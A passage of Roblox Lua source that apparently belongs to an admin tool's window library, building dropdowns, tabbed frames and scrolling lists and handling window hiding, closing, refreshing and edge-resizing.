-downImg.AbsoluteSize.X, 1, 0);\n\n\t\t\t\t\tif options and #options <= 6 then\n\t\t\t\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options);\n\t\t\t\t\telse\n\t\t\t\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6);\n\t\t\t\t\t\tscroller:ResizeCanvas(false, true);\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tselected.ZIndex = new.ZIndex\n\t\t\tdownImg.ZIndex = new.ZIndex\n\n\t\t\tif textProps then\n\t\t\t\tfor i,v in next,textProps do\n\t\t\t\t\tselected[i] = v\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif options then\n\t\t\t\tfor i,v in next,options do\n\t\t\t\t\tlocal button = scroller:Add(\"TextButton\", {\n\t\t\t\t\t\tText = \" \".. tostring(v);\n\t\t\t\t\t\tSize = UDim2.new(1, -10, 0, 30);\n\t\t\t\t\t\tPosition = UDim2.new(0, 5, 0, 30*(i-1));\n\t\t\t\t\t\tZIndex = menu.ZIndex;\n\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\tOnClick = function()\n\t\t\t\t\t\t\tselected.Text = v;\n\t\t\t\t\t\t\tonSelect(v, new);\n\t\t\t\t\t\t\tmenu.Visible = false\n\t\t\t\t\t\tend\n\t\t\t\t\t})\n\n\t\t\t\t\tif textProps then\n\t\t\t\t\t\tfor i,v in next,textProps do\n\t\t\t\t\t\t\tbutton[i] = v\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif curSelected then\n\t\t\t\t\tselected.Text = curSelected\n\t\t\t\telse\n\t\t\t\t\tselected.Text = \"No Selection\"\n\t\t\t\tend\n\n\t\t\t\tlocal function showMenu()\n\t\t\t\t\tmenu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)\n\t\t\t\t\tmenu.Visible = not menu.Visible\n\t\t\t\tend\n\n\t\t\t\tselected.MouseButton1Down:Connect(showMenu)\n\t\t\t\tdownImg.MouseButton1Down:Connect(showMenu)\n\t\t\tend\n\t\tend\n\n\t\tif class == \"TabFrame\" then\n\t\t\tlocal buttonsTab = {};\n\t\t\tlocal buttons = create(\"ScrollingFrame\", nil, new.Buttons)\n\t\t\tlocal frames = new.Frames\n\t\t\tlocal numTabs = 0\n\t\t\tlocal buttonSize = data.ButtonSize or 60\n\n\t\t\tnew.BackgroundTransparency = data.BackgroundTransparency or 1\n\t\t\tbuttons.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tframes.ZIndex = buttons.ZIndex\n\n\t\t\tnew:SetSpecial(\"GetTab\", function(ignore, name)\n\t\t\t\treturn frames:FindFirstChild(name)\n\t\t\tend)\n\n\t\t\tnew:SetSpecial(\"NewTab\", function(ignore, name, data)\n\t\t\t\tlocal data = data or {}\n\t\t\t\t--local numChildren = #frames:GetChildren()\n\t\t\t\tlocal nextPos = getNextPos(buttons);\n\t\t\t\tlocal textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize)\n\t\t\t\tlocal oTextTrans = data.TextTransparency\n\t\t\t\tlocal isOpen = false\n\t\t\t\tlocal disabled = false\n\t\t\t\tlocal tabFrame = create(\"ScrollingFrame\",{\n\t\t\t\t\tName = name;\n\t\t\t\t\tSize = UDim2.new(1, 0, 1, 0);\n\t\t\t\t\tPosition = UDim2.new(0, 0, 0, 0);\n\t\t\t\t\tBorderSizePixel = 0;\n\t\t\t\t\tBackgroundTransparency = data.FrameTransparency or data.Transparency;\n\t\t\t\t\tBackgroundColor3 = data.Color or dSecondaryBackground;\n\t\t\t\t\tZIndex = buttons.ZIndex;\n\t\t\t\t\tVisible = false;\n\t\t\t\t})\n\n\t\t\t\tlocal tabButton = create(\"TextButton\",{\n\t\t\t\t\tName = name;\n\t\t\t\t\tText = data.Text or name;\n\t\t\t\t\tSize = UDim2.new(0, textSize.X+20, 1, 0);\n\t\t\t\t\tZIndex = buttons.ZIndex;\n\t\t\t\t\tPosition = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0);\n\t\t\t\t\tTextColor3 = data.TextColor;\n\t\t\t\t\tBackgroundTransparency = 0.7;\n\t\t\t\t\tTextTransparency = data.TextTransparency;\n\t\t\t\t\tBackgroundColor3 = data.Color or dSecondaryBackground;\n\t\t\t\t\tBorderSizePixel = 0;\n\t\t\t\t})\n\n\t\t\t\ttabFrame:SetSpecial(\"FocusTab\",function()\n\t\t\t\t\tfor i,v in next,buttonsTab do\n\t\t\t\t\t\tif isGui(v) then\n\t\t\t\t\t\t\tv.BackgroundTransparency = (v:IsDisabled() and 0.9) or 0.7\n\t\t\t\t\t\t\tv.TextTransparency = (v:IsDisabled() and 0.9) or 0.7\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tfor i,v in next,frames:GetChildren() do\n\t\t\t\t\t\tif isGui(v) then\n\t\t\t\t\t\t\tv.Visible = false\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttabButton.BackgroundTransparency = data.Transparency or 0\n\t\t\t\t\ttabButton.TextTransparency = data.TextTransparency or 0\n\t\t\t\t\ttabFrame.Visible = true\n\n\t\t\t\t\tif data.OnFocus then\n\t\t\t\t\t\tdata.OnFocus(true)\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\tif numTabs == 0 then\n\t\t\t\t\ttabFrame.Visible = true\n\t\t\t\t\ttabButton.BackgroundTransparency = data.Transparency or 0\n\t\t\t\tend\n\n\t\t\t\ttabButton.MouseButton1Down:Connect(function()\n\t\t\t\t\tif not disabled then\n\t\t\t\t\t\ttabFrame:FocusTab()\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\ttabButton.Parent = buttons\n\t\t\t\ttabFrame.Parent = frames\n\t\t\t\tbuttons:ResizeCanvas(true, false)\n\n\t\t\t\ttabFrame:SetSpecial(\"Disable\", function()\n\t\t\t\t\tdisabled = true;\n\t\t\t\t\ttabButton.BackgroundTransparency = 0.9;\n\t\t\t\t\ttabButton.TextTransparency = 0.9\n\t\t\t\tend)\n\n\t\t\t\ttabFrame:SetSpecial(\"Enable\", function()\n\t\t\t\t\tdisabled = false;\n\t\t\t\t\ttabButton.BackgroundTransparency = 0.7;\n\t\t\t\t\ttabButton.TextTransparency = data.TextTransparency or 0;\n\t\t\t\tend)\n\n\t\t\t\ttabButton:SetSpecial(\"IsDisabled\", function()\n\t\t\t\t\treturn disabled;\n\t\t\t\tend)\n\n\t\t\t\ttable.insert(buttonsTab, tabButton);\n\n\t\t\t\tnumTabs = numTabs+1;\n\n\t\t\t\treturn tabFrame,tabButton\n\t\t\tend)\n\t\tend\n\n\t\tif class == \"ScrollingFrame\" then\n\t\t\tlocal genning = false\n\t\t\tif not data.ScrollBarThickness then\n\t\t\t\tdata.ScrollBarThickness = dScrollBar\n\t\t\tend\n\n\t\t\tnew:SetSpecial(\"GenerateList\", function(obj, list, labelProperties, bottom)\n\t\t\t\tlocal list = list or obj;\n\t\t\t\tlocal genHold = {}\n\t\t\t\tlocal entProps = labelProperties or {}\n\n\t\t\t\tgenning = genHold\n\t\t\t\tnew:ClearAllChildren()\n\n\t\t\t\tnew.AutomaticCanvasSize = \"Y\"\n\n\t\t\t\tlocal layout = service.New(\"UIListLayout\", {\n\t\t\t\t\tParent = new;\n\t\t\t\t\tName = \"LayoutOrder\";\n\t\t\t\t\tFillDirection = data.Layout_FillDirection or \"Vertical\";\n\t\t\t\t\tVerticalAlignment = data.Layout_VerticalAlignment or \"Top\";\n\t\t\t\t\tHorizontalAlignment = data.Layout_HorizontalAlignment or \"Left\";\n\t\t\t\t})\n\n\t\t\t\tlocal num = 0\n\t\t\t\tfor i,v in next,list do\n\t\t\t\t\tlocal text = v;\n\t\t\t\t\tlocal desc;\n\t\t\t\t\tlocal color\n\t\t\t\t\tlocal richText;\n\n\t\t\t\t\tif type(v) == \"table\" then\n\t\t\t\t\t\ttext = v.Text\n\t\t\t\t\t\tdesc = v.Desc\n\t\t\t\t\t\tcolor = v.Color\n\n\t\t\t\t\t\tif v.RichTextAllowed or entProps.RichTextAllowed then\n\t\t\t\t\t\t\trichText = true\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tlocal label\n\t\t\t\t\tif v.TextSelectable or entProps.TextSelectable then\n\t\t\t\t\t\tlabel = create(\"TextBox\",{\n\t\t\t\t\t\t\tText = \" \"..tostring(text);\n\t\t\t\t\t\t\tToolTip = desc;\n\t\t\t\t\t\t\tSize = UDim2.new(1,-5,0,(entProps.ySize or 20));\n\t\t\t\t\t\t\tVisible = true;\n\t\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\t\tFont = \"Arial\";\n\t\t\t\t\t\t\tTextSize = 14;\n\t\t\t\t\t\t\tTextStrokeTransparency = 0.8;\n\t\t\t\t\t\t\tTextXAlignment = \"Left\";\n\t\t\t\t\t\t\tPosition = UDim2.new(0,0,0,num*(entProps.ySize or 20));\n\t\t\t\t\t\t\tRichText = richText or false;\n\t\t\t\t\t\t\tTextEditable = false;\n\t\t\t\t\t\t\tClearTextOnFocus = false;\n\t\t\t\t\t\t})\n\t\t\t\t\telse\n\t\t\t\t\t\tlabel = create(\"TextLabel\",{\n\t\t\t\t\t\t\tText = \" \"..tostring(text);\n\t\t\t\t\t\t\tToolTip = desc;\n\t\t\t\t\t\t\tSize = UDim2.new(1,-5,0,(entProps.ySize or 20));\n\t\t\t\t\t\t\tVisible = true;\n\t\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\t\tFont = \"Arial\";\n\t\t\t\t\t\t\tTextSize = 14;\n\t\t\t\t\t\t\tTextStrokeTransparency = 0.8;\n\t\t\t\t\t\t\tTextXAlignment = \"Left\";\n\t\t\t\t\t\t\tPosition = UDim2.new(0,0,0,num*(entProps.ySize or 20));\n\t\t\t\t\t\t\tRichText = richText or false;\n\t\t\t\t\t\t})\n\t\t\t\t\tend\n\n\t\t\t\t\tif color then\n\t\t\t\t\t\tlabel.TextColor3 = color\n\t\t\t\t\tend\n\n\t\t\t\t\tif labelProperties then\n\t\t\t\t\t\tfor i,v in pairs(entProps) do\n\t\t\t\t\t\t\tif checkProperty(label, i) then\n\t\t\t\t\t\t\t\tlabel[i] = v\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tif genning == genHold then\n\t\t\t\t\t\tlabel.Parent = new;\n\t\t\t\t\telse\n\t\t\t\t\t\tlabel:Destroy()\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\n\t\t\t\t\tnum = num+1\n\n\t\t\t\t\tif data.Delay then\n\t\t\t\t\t\tif type(data.Delay) == \"number\" then\n\t\t\t\t\t\t\twait(data.Delay)\n\t\t\t\t\t\telseif i%100 == 0 then\n\t\t\t\t\t\t\twait(0.1)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t--new:ResizeCanvas(false, true, false, bottom, 5, 5, 50)\n\t\t\t\tif bottom then\n\t\t\t\t\tnew.CanvasPosition = Vector2.new(0, layout.AbsoluteContentSize.Y);\n\t\t\t\tend\n\n\t\t\t\tgenning = nil\n\t\t\tend)\n\n\t\t\tnew:SetSpecial(\"ResizeCanvas\", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak)\n\t\t\t\tlocal xPadding,yPadding = data.xPadding or 5, data.yPadding or 5\n\t\t\t\tlocal newY, newX = 0,0\n\n\t\t\t\tif not onX and not onY then onX = false onY = true end\n\t\t\t\tfor i,v in next,new:GetChildren() do\n\t\t\t\t\tif v:IsA(\"GuiObject\") then\n\t\t\t\t\t\tif onY then\n\t\t\t\t\t\t\tv.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y)\n\t\t\t\t\t\t\tv.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tif onX then\n\t\t\t\t\t\t\tv.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset)\n\t\t\t\t\t\t\tv.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tlocal yLower = v.Position.Y.Offset + v.Size.Y.Offset\n\t\t\t\t\t\tlocal xLower = v.Position.X.Offset + v.Size.X.Offset\n\t\t\t\t\t\tnewY = math.max(newY, yLower)\n\t\t\t\t\t\tnewX = math.max(newX, xLower)\n\t\t\t\t\t\tif modBreak then\n\t\t\t\t\t\t\tif i%modBreak == 0 then\n\t\t\t\t\t\t\t\twait(1/60)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif onY then\n\t\t\t\t\tnew.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding)\n\t\t\t\tend\n\n\t\t\t\tif onX then\n\t\t\t\t\tnew.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset)\n\t\t\t\tend\n\n\t\t\t\tif xMax then\n\t\t\t\t\tnew.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y)\n\t\t\t\tend\n\n\t\t\t\tif yMax then\n\t\t\t\t\tnew.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y)\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tif data.List then new:GenerateList(data.List) data.List = nil end\n\t\tend\n\n\t\tLoadChildren(new, data.Content or data.Children)\n\n\t\tdata.Children = nil\n\t\tdata.Content = nil\n\n\t\tfor i,v in next,data do\n\t\t\tif checkProperty(new, i) then\n\t\t\t\tnew[i] = v\n\t\t\tend\n\t\tend\n\n\t\tnew.Parent = parent\n\n\t\treturn apiIfy(new, data, class),data\n\tend\n\n\tfunction apiIfy(gui, data, class)\n\t\tlocal newGui = service.Wrap(gui)\n\t\tgui:SetSpecial(\"Object\", gui)\n\t\tgui:SetSpecial(\"SetPosition\", function(ignore, newPos) gui.Position = newPos end)\n\t\tgui:SetSpecial(\"SetSize\", function(ingore, newSize) gui.Size = newSize end)\n\t\tgui:SetSpecial(\"Add\", function(ignore, class, data)\n\t\t\tif not data then data = class class = ignore end\n\t\t\tlocal new = create(class,data);\n\t\t\tnew.Parent = gui;\n\t\t\treturn apiIfy(new, data, class)\n\t\tend)\n\n\t\tgui:SetSpecial(\"Copy\", function(ignore, class, gotData)\n\t\t\tlocal newData = {}\n\t\t\tlocal new\n\n\t\t\tfor i,v in next,data do\n\t\t\t\tnewData[i] = v\n\t\t\tend\n\n\t\t\tfor i,v in next,gotData do\n\t\t\t\tnewData[i] = v\n\t\t\tend\n\n\t\t\tnew = create(class or data.Class or gui.ClassName, newData);\n\t\t\tnew.Parent = gotData.Parent or gui.Parent;\n\t\t\treturn apiIfy(new, data, class)\n\t\tend)\n\n\t\treturn newGui\n\tend\n\n\tfunction doClose()\n\t\tif not isClosed then\n\t\t\tisClosed = true\n\n\t\t\tif onClose then\n\t\t\t\tlocal r,e = pcall(onClose)\n\t\t\t\tif e then\n\t\t\t\t\twarn(e)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tgTable:Destroy()\n\t\tend\n\tend\n\n\tfunction isVisible()\n\t\treturn Main.Visible\n\tend\n\n\tlocal hideLabel = Hide:FindFirstChild(\"TextLabel\")\n\tfunction doHide(doHide)\n\t\tlocal origLH = Hide.LineHeight\n\t\tif doHide or (doHide == nil and Main.Visible) then\n\t\t\tdragSize = Drag.Size\n\t\t\tMain.Visible = false\n\t\t\tDrag.BackgroundTransparency = Main.BackgroundTransparency\n\t\t\tDrag.BackgroundColor3 = Main.BackgroundColor3\n\t\t\tDrag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset)\n\n\t\t\tif hideLabel then\n\t\t\t\thideLabel.Text = \"+\"\n\t\t\telse\n\t\t\t\tHide.Text = \"+\"\n\t\t\tend\n\n\t\t\tHide.LineHeight = origLH\n\t\t\tgTable.Minimized = true\n\t\telseif doHide == false or (doHide == nil and not Main.Visible) then\n\t\t\tMain.Visible = true\n\t\t\tDrag.BackgroundTransparency = 1\n\t\t\tDrag.Size = dragSize or Drag.Size\n\n\t\t\tif hideLabel then\n\t\t\t\thideLabel.Text = \"-\"\n\t\t\telse\n\t\t\t\tHide.Text = \"-\"\n\t\t\tend\n\n\t\t\tHide.LineHeight = origLH\n\t\t\tgTable.Minimized = false\n\t\tend\n\n\t\tif onMinimize then\n\t\t\tonMinimize(Main.Visible)\n\t\tend\n\n\t\tif Walls then\n\t\t\twallPosition()\n\t\tend\n\tend\n\n\tfunction isInFrame(x, y, frame)\n\t\tif x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\n\n\tfunction wallPosition()\n\t\tif gTable.Active then\n\t\t\tlocal x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y\n\t\t\tlocal abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y\n\t\t\tlocal ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y\n\n\t\t\tif x < 0 then\n\t\t\t\tDrag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset)\n\t\t\tend\n\n\t\t\tif y < 0 then\n\t\t\t\tDrag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0)\n\t\t\tend\n\n\t\t\tif x + abx > gx then\n\t\t\t\tDrag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset)\n\t\t\tend\n\n\t\t\tif y + ySize > gy then\n\t\t\t\tDrag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize)\n\t\t\tend\n\t\tend\n\tend\n\n\tfunction setSize(newSize)\n\t\tif newSize and type(newSize) == \"table\" then\n\t\t\tif newSize[1] < 50 then newSize[1] = 50 end\n\t\t\tif newSize[2] < 50 then newSize[2] = 50 end\n\n\t\t\tDrag.Size = UDim2.new(0,newSize[1],Drag.Size.Y.Scale,Drag.Size.Y.Offset)\n\t\t\tMain.Size = UDim2.new(1,0,0,newSize[2])\n\t\tend\n\tend\n\n\tfunction setPosition(newPos)\n\t\tif newPos and typeof(newPos) == \"UDim2\" then\n\t\t\tDrag.Position = newPos\n\t\telseif newPos and type(newPos) == \"table\" then\n\t\t\tDrag.Position = UDim2.new(0, newPos[1], 0, newPos[2])\n\t\telseif Size and not newPos then\n\t\t\tDrag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2)\n\t\tend\n\tend\n\n\tif Name then\n\t\tgTable.Name = Name\n\t\tif data.AllowMultiple ~= nil and data.AllowMultiple == false then\n\t\t\tlocal found, num = client.UI.Get(Name, GUI, true)\n\t\t\tif found then\n\t\t\t\tdoClose()\n\t\t\t\treturn nil\n\t\t\tend\n\t\tend\n\tend\n\n\tif Size then\n\t\tsetSize(Size)\n\tend\n\n\tif Position then\n\t\tsetPosition(Position)\n\tend\n\n\tif Title then\n\t\tTitlef.Text = Title\n\tend\n\n\tif CanKeepAlive or not ResetOnSpawn then\n\t\tgTable.CanKeepAlive = true\n\t\tGUI.ResetOnSpawn = false\n\telseif ResetOnSpawn then\n\t\tgTable.CanKeepAlive = false\n\t\tGUI.ResetOnSpawn = true\n\tend\n\n\tif Icon then\n\t\tIconf.Visible = true\n\t\tIconf.Image = Icon\n\t\tIconf.Size = UDim2.new(0, 16, 0, 16)\n\t\tIconf.Position = UDim2.new(0, 6, 0, 5)\n\t\tIconf.ImageTransparency = 0\n\tend\n\n\tif CanvasSize then\n\t\tScrollFrame.CanvasSize = CanvasSize\n\tend\n\n\tif noClose then\n\t\tClose.Visible = false\n\t\tRefresh.Position = Hide.Position\n\t\tHide.Position = Close.Position\n\tend\n\n\tif noHide then\n\t\tHide.Visible = false\n\t\tRefresh.Position = Hide.Position\n\tend\n\n\tif Walls then\n\t\tDrag.DragStopped:Connect(function()\n\t\t\twallPosition()\n\t\tend)\n\tend\n\n\tif onRefresh then\n\t\tlocal debounce = false\n\t\tfunction DoRefresh()\n\t\t\tif not Refreshing then\n\t\t\t\tlocal done = false\n\t\t\t\tRefreshing = true\n\n\t\t\t\tspawn(function()\n\t\t\t\t\twhile gTable.Active and not done do\n\t\t\t\t\t\tfor i = 0,180,10 do\n\t\t\t\t\t\t\trSpinner.Rotation = -i\n\t\t\t\t\t\t\twait(1/60)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\tonRefresh()\n\t\t\t\twait(1)\n\t\t\t\tdone = true\n\t\t\t\tRefreshing = false\n\t\t\tend\n\t\tend\n\n\t\tRefresh.MouseButton1Down:Connect(function()\n\t\t\tif not debounce then\n\t\t\t\tdebounce = true\n\t\t\t\tDoRefresh()\n\t\t\t\tdebounce = false\n\t\t\tend\n\t\tend)\n\n\t\tTitlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset)\n\telse\n\t\tRefresh.Visible = false\n\tend\n\n\tif iconClicked then\n\t\tIconf.MouseButton1Down(function()\n\t\t\ticonClicked(data, GUI, Iconf)\n\t\tend)\n\tend\n\n\tif Menu then\n\t\tdata.Menu.Text = \"\"\n\t\tdata.Menu.Parent = Main\n\t\tdata.Menu.Size = UDim2.new(1,-10,0,25)\n\t\tdata.Menu.Position = UDim2.new(0,5,0,25)\n\t\tScrollFrame.Size = UDim2.new(1,-10,1,-55)\n\t\tScrollFrame.Position = UDim2.new(0,5,0,50)\n\t\tdata.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216)\n\t\tdata.Menu.BorderSizePixel = 0\n\t\tcreate(\"TextLabel\",data.Menu)\n\tend\n\n\tif not SizeLocked then\n\t\tlocal startXPos = Drag.AbsolutePosition.X\n\t\tlocal startYPos = Drag.AbsolutePosition.Y\n\t\tlocal startXSize = Drag.AbsoluteSize.X\n\t\tlocal startYSize = Drag.AbsoluteSize.Y\n\t\tlocal vars = client.Variables\n\t\tlocal newIcon\n\t\tlocal inFrame\n\t\tlocal ReallyInFrame\n\n\t\tlocal function readify(obj)\n\t\t\tobj.MouseEnter:Connect(function()\n\t\t\t\tReallyInFrame = obj\n\t\t\tend)\n\n\t\t\tobj.MouseLeave:Connect(function()\n\t\t\t\tif ReallyInFrame == obj then\n\t\t\t\t\tReallyInFrame = nil\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\n\t\t--[[\n\t\treadify(Drag)\n\t\treadify(ScrollFrame)\n\t\treadify(TopRight)\n\t\treadify(TopLeft)\n\t\treadify(RightCorner)\n\t\treadify(LeftCorner)\n\t\treadify(RightSide)\n\t\treadify(LeftSide)\n\t\treadify(Bottom)\n\t\treadify(Top)\n\t\t--]]\n\n\t\tfunction checkMouse(x, y) --// Update later to remove frame by frame pos checking\n\t\t\tif gTable.Active and Main.Visible then\n\t\t\t\tif isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then\n\t\t\t\t\tinFrame = nil\n\t\t\t\t\tnewIcon = nil\n\t\t\t\telseif isInFrame(x, y, TopRight) then\n\t\t\t\t\tinFrame = \"TopRight\"\n\t\t\t\t\tnewIcon = MouseIcons.TopRight\n\t\t\t\telseif isInFrame(x, y, TopLeft) then\n\t\t\t\t\tinFrame = \"TopLeft\"\n\t\t\t\t\tnewIcon = MouseIcons.TopLeft\n\t\t\t\telseif isInFrame(x, y, RightCorner) then\n\t\t\t\t\tinFrame = \"RightCorner\"\n\t\t\t\t\tnewIcon = MouseIcons.RightCorner\n\t\t\t\telseif isInFrame(x, y, LeftCorner) then\n\t\t\t\t\tinFrame = \"LeftCorner\"\n\t\t\t\t\tnewIcon = MouseIcons.LeftCorner\n\t\t\t\telseif isInFrame(x, y, RightSide) then\n\t\t\t\t\tinFrame = \"RightSide\"\n\t\t\t\t\tnewIcon = MouseIcons.Horizontal\n\t\t\t\telseif isInFrame(x, y, LeftSide) then\n\t\t\t\t\tinFrame = \"LeftSide\"\n\t\t\t\t\tnewIcon = MouseIcons.Horizontal\n\t\t\t\telseif isInFrame(x, y, Bottom) then\n\t\t\t\t\tinFrame = \"Bottom\"\n\t\t\t\t\tnewIcon = MouseIcons.Vertical\n\t\t\t\telseif isInFrame(x, y, Top) then\n\t\t\t\t\tinFrame = \"Top\"\n\t\t\t\t\tnewIcon = MouseIcons.Vertical\n\t\t\t\telse\n\t\t\t\t\tinFrame = nil\n\t\t\t\t\tnewIcon = nil\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tinFrame = nil\n\t\t\tend\n\n\t\t\tif (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then\n\t\t\t\tif inFrame and newIcon then\n\t\t\t\t\tMouse.Icon = newIcon\n\t\t\t\t\tclient.Variables.MouseLockedBy = gTable\n\t\t\t\telseif client.Variables.MouseLockedBy == gTable then\n\t\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t\tclient.Variables.MouseLockedBy = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tlocal function inputStart(x, y)\n\t\t\tcheckMouse(x, y)\n\t\t\tif gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then\n\t\t\t\tResizing = inFrame\n\t\t\t\tstartXPos = Drag.AbsolutePosition.X\n\t\t\t\tstartYPos = Drag.AbsolutePosition.Y\n\t\t\t\tstartXSize = Drag.AbsoluteSize.X\n\t\t\t\tstartYSize = Main.AbsoluteSize.Y\n\t\t\tend\n\t\tend\n\n\t\tlocal function inputEnd()\n\t\t\tif gTable.Active then\n\t\t\t\tif Resizing and onResize then\n\t\t\t\t\tonResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))\n\t\t\t\tend\n\n\t\t\t\tResizing = nil\n\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t--DragEnabled = true\n\t\t\t\t--if Walls then\n\t\t\t\t--\twallPosition()\n\t\t\t\t--end\n\t\t\tend\n\t\tend\n\n\t\tlocal function inputMoved(x, y)\n\t\t\tif gTable.Active then\n\t\t\t\tif Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then\n\t\t\t\t\tcurIcon = Mouse.Icon\n\t\t\t\tend\n\n\t\t\t\tif Resizing then\n\t\t\t\t\tlocal moveX = false\n\t\t\t\t\tlocal moveY = false\n\t\t\t\t\tlocal newPos = Drag.Position\n\t\t\t\t\tlocal xPos, yPos = x, y\n\t\t\t\t\tlocal newX, newY = startXSize, startYSize\n\n\t\t\t\t\t--DragEnabled = false\n\n\t\t\t\t\tif Resizing == \"TopRight\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize -1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\telseif Resizing == \"TopLeft\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize -1\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize -1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"RightCorner\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\telseif Resizing == \"LeftCorner\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize + 3\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"LeftSide\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize + 3\n\t\t\t\t\t\tnewY = startYSize\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"RightSide\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = startYSize\n\t\t\t\t\telseif Resizing == \"Bottom\" then\n\t\t\t\t\t\tnewX = startXSize\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\telseif Resizing == \"Top\" then\n\t\t\t\t\t\tnewX = startXSize\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize - 1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\tend\n\n\t\t\t\t\tif newX < MinSize[1] then newX = MinSize[1] end\n\t\t\t\t\tif newY < MinSize[2] then newY = MinSize[2] end\n\t\t\t\t\tif newX > MaxSize[1] then newX = MaxSize[1] end\n\t\t\t\t\tif newY > MaxSize[2] then newY = MaxSize[2] 